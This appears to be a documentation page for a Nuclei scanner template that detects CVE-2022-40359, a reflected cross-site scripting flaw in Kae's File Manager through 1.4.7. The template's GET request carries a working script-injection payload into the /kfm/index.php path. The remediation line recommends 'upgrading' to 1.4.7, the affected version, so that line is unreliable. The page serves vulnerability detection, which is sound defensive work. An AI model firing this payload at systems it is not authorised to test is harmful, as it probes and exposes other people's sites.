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Kae's File Manager <=1.4.7 - Cross-Site Scripting

ID: CVE-2022-40359

Severity: medium

Author: edoardottt,daffainfo

Tags: cve,cve2022,xss,kfm,kfm_project

Description

Section titled “Description”

Kae’s File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks

YAML Source

Section titled “YAML Source”
id: CVE-2022-40359


info:
  name: Kae's File Manager <=1.4.7 - Cross-Site Scripting
  author: edoardottt,daffainfo
  severity: medium
  description: |
    Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2022090057
    - https://code.google.com/archive/p/kfm/downloads
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40359
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-40359
    cwe-id: CWE-79
    epss-score: 0.00129
    epss-percentile: 0.46796
    cpe: cpe:2.3:a:kfm_project:kfm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kfm_project
    product: kfm
  tags: cve,cve2022,xss,kfm,kfm_project


http:
  - raw:
      - |
        GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "x_kfm_changeCaption"
          - "kfm_copyFiles"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a0046304402201b3d6f256b45de9982053c8a19e5d53e557b2c7c65916e0c5d8f927a0bb8a8300220304c1dd23bb8ee83ab7fc07ac22f9e80479155faeec36ea639b42bd730935a70:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-40359.yaml"

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